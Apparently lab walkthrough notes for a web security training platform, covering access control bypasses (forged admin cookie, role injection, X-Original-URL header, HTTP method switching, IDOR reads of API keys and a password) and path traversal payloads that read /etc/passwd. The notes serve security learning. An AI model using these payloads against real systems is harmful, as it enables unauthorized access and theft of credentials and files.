đŸ”ŦVulnerability Labs


🌐 Resources 🔗

Find the admin panel and delete the user carlos.

GET /robots.txt

# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

User-agent: *
Disallow: /administrator-panel
GET /administrator-panel
GET /administrator-panel/delete?username=carlos
# User deleted

Find the unpredictable admin panel and delete user carlos.

GET /login
  • Admin panel found in the code of the / or /login page response for example

<script>
var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName("top-links")[0];
   var adminPanelTag = document.createElement('a');
   adminPanelTag.setAttribute('href', '/admin-ge6wcp');
   adminPanelTag.innerText = 'Admin panel';
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement('p');
   pTag.innerText = '|';
   topLinksTag.appendChild(pTag);
}
</script>
GET /admin-ge6wcp
GET /admin-ge6wcp/delete?username=carlos
# User deleted

Access the /admin panel and use it to delete user carlos.

Admin panel use a forgeable cookie to identify administrators.

User's creds: wiener:peter

POST /login
# The response sets the cookie
GET /admin
  • Send this request to the repeater and forge the cookie with Admin=true

  • Delete user carlos once the admin panel login is bypassed.

  • Burp Proxy interception (or browser Dev Tools) can be used too, while logging in, to set the Cookie to Admin=true, and to access the Admin panel from /my-account .

# Request
GET /admin/delete?username=carlos HTTP/2
Host: 0a060030038bec7c8214d8b600eb00c1.web-security-academy.net
Cookie: Admin=true; session=dxgdmGbBWv76i4PMyyDoYYW666smj1er
...

App's /admin panel is accessible only to users with roleid = 2.

Access the /admin panel and use it to delete user carlos.

POST /login HTTP/2
...
username=wiener&password=peter
  • Once logged in, update the email

POST /my-account/change-email
  • Send this POST request to the repeater and add "roleid:2" into the JSON body

POST /my-account/change-email HTTP/2
Host: 0a2200c20471b32f842c9ada00f700c3.web-security-academy.net
...
{"email":"lab@example.com",
 "roleid": 2
}
  • Browse to /admin and delete user

External access to /admin panel is blocked at front-end. Back-end supports X-Original-URL header.

Access the /admin panel and use it to delete user carlos.

GET /admin
  • Send a Request to / with an X-Original-URL header pointing top a non-existing resource

    • With re response 404 Not Found it means the app supports the special request headers

GET / HTTP/2
X-Original-Url: /invalid
...
  • Send an allowed URL as main and the real target in the X-Original-URL

GET / HTTP/2
X-Original-Url: /admin
...
  • Delete user using the X-Original-Url header

GET /?username=carlos HTTP/2
X-Original-Url: /admin/delete
...

App's access control is based on the HTTP method of requests.

Admin creds: administrator:admin.

Login with wiener:peter credentials and exploit the access control to promote the user to an administrator.

  • Login as administrator, promote carlos and send the request to the repeater

  • Login with wiener in an incognito windows and get the session cookie. Input the session cookie in the existing repeater request -> Unauthorized

  • Change the method to POSTX -> Missing parameter 'username'

  • Right click on the request and convert it to GET with Change request method

    • Set the username to wiener and send it

    • GET method is allowed

GET /admin-roles?username=wiener&action=upgrade HTTP/2
  • wiener user has access to the admin panel now

Login with wiener:peter credentials and exploit the horizontal privesc vulnerability on the account page to get carlos's API key.

  • Login as wiener and send the request to the repeater

  • Change the id to id=carlos and send the GET request to get the Carlos's API key

GET /my-account?id=carlos HTTP/2
  • Click the Submit solution button and paste the API key to solve the lab - eXXoHWSpwaZpxBAXr7MbVt9GMoEuCpy9

The app identifies users with GUIDs.

Login with wiener:peter credentials and exploit the horizontal privesc vulnerability on the account page to get carlos's GUID and API key.

  • Find a carlos blog post and get its user ID. /blogs leaks the account's userID

userId=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c
  • Login as wiener, go to the account page and send the request to the repeater

  • Change the id to id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c and send the GET request to get the Carlos's API key

GET /my-account?id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c HTTP/2
  • Click the Submit solution button and paste the API key to solve the lab - p3UtBNlmwKtAnEf0PKgBcW9sPQNJcMLq

The app leaks sensitive information in the body of a redirect response

Login with wiener:peter credentials and exploit the access control vulnerability to get carlos's API key.

  • Login as wiener, access the account page via browser and change the id to id=carlos and send the GET request to get the Carlos's API key

GET /my-account?id=carlos HTTP/2

# Response
HTTP/2 302 Found
  • This request is redirected to the login page. Check the redirect body content in BurpSuite and find the carlos API key

  • Click the Submit solution button and paste the API key to solve the lab - ah9Nwj1bvuWv5uvWPK86EBHZCnghqRHe

The user account page leaks password in a masked input.

Login with wiener:peter credentials, retrieve administrator password and delete carlos user.

  • Login as wiener and access the account page

  • Change the id to id=administrator and check the response containing the administrator's password

  • Login as administrator:dta5qwrsg998j416zqh0 and delete carlos


🌐 Resources 🔗

Open BurpSuite - Turn off the intercept - Open its internal Browser and open the lab link - Check HTTP history for intercepted requests - Check Images in the Filter settings

  • Find a fetched product image Request

    • right click on it and Send to Repeater, or select it and press CTRL+R

  • Change the Request

# From this
GET /image?filename=5.jpg

# To this
GET /image?filename=../../../etc/passwd

The app blocks path traversal sequences but treats the filename as relative to a default working directory.

GET /image?filename=21.jpg

GET /image?filename=../../../etc/passwd # 400 Bad Request

# Try with absolute path
GET /image?filename=/etc/passwd

The app strips path traversal sequences from the supplied filename before using it.

GET /image?filename=....//....//....//etc/passwd

The app blocks input containing path traversal sequences and then performs URL-decode before using it.

  • With ../../../etc/passwd it does not work

  • Use BurpSuite Decoder to double URL-Encode the ../../../etc/passwd string

    • \ / should always be encoded

..%2f..%2f..%2fetc%2fpasswd # 400 Bad Request - URL-encoded once

# Doubl URL-Encoded
GET /image?filename=..%252f..%252f..%252fetc%252fpasswd

The application transmits the full file path and validates that it starts with the expected folder.

GET /image?filename=/var/www/images/../../../etc/passwd
# or (better)
GET /image?filename=%2fvar%2fwww%2fimages%2f..%2f..%2f..%2fetc%2fpasswd

The app validates the supplied filename end with expected file extension.

  • Use a null byte character \0 to represent the end of the string

    • ../../../etc/passwd\0.png > ..%2f..%2f..%2fetc%2fpasswd%00.png

    • the O.S. requests retrieval of the string, it assumes the string is terminated after passwd

GET /image?filename=../../../etc/passwd%00.png
# URL-encoded
GET /image?filename=..%2f..%2f..%2fetc%2fpasswd%00.png

Last updated